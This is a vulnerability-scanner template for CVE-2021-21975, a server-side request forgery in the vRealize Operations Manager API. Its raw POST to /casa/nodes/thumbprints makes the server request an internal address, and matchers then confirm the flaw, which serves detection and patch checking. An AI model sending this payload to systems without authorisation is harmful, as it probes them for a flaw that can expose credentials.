id: CVE-2021-21975

info:
  name: vRealize Operations Manager API - Server-Side Request Forgery
  author: luci
  severity: high
  description: vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0004.html
    - http://packetstormsecurity.com/files/162349/VMware-vRealize-Operations-Manager-Server-Side-Request-Forgery-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21975
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-21975
    cwe-id: CWE-918
    epss-score: 0.78435
    epss-percentile: 0.9953
    cpe: cpe:2.3:a:vmware:cloud_foundation:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,kev,packetstorm,ssrf,vmware,vrealize,vkev,vuln

http:
  - raw:
      - |
        POST /casa/nodes/thumbprints HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        ["127.0.0.1:443/ui/"]

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vRealize Operations Manager'
          - 'thumbprint'
          - 'address'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207d94c0a2cc5f5f4ea3a722032ed3e78787c33ff7313f4b5c9cfc0e66430c7d31022100806e1021bd7c8bf44181a247c6225344ba25be19184c85a434e25dba0d452f4b:922c64590222798bb761d5b6d8e72950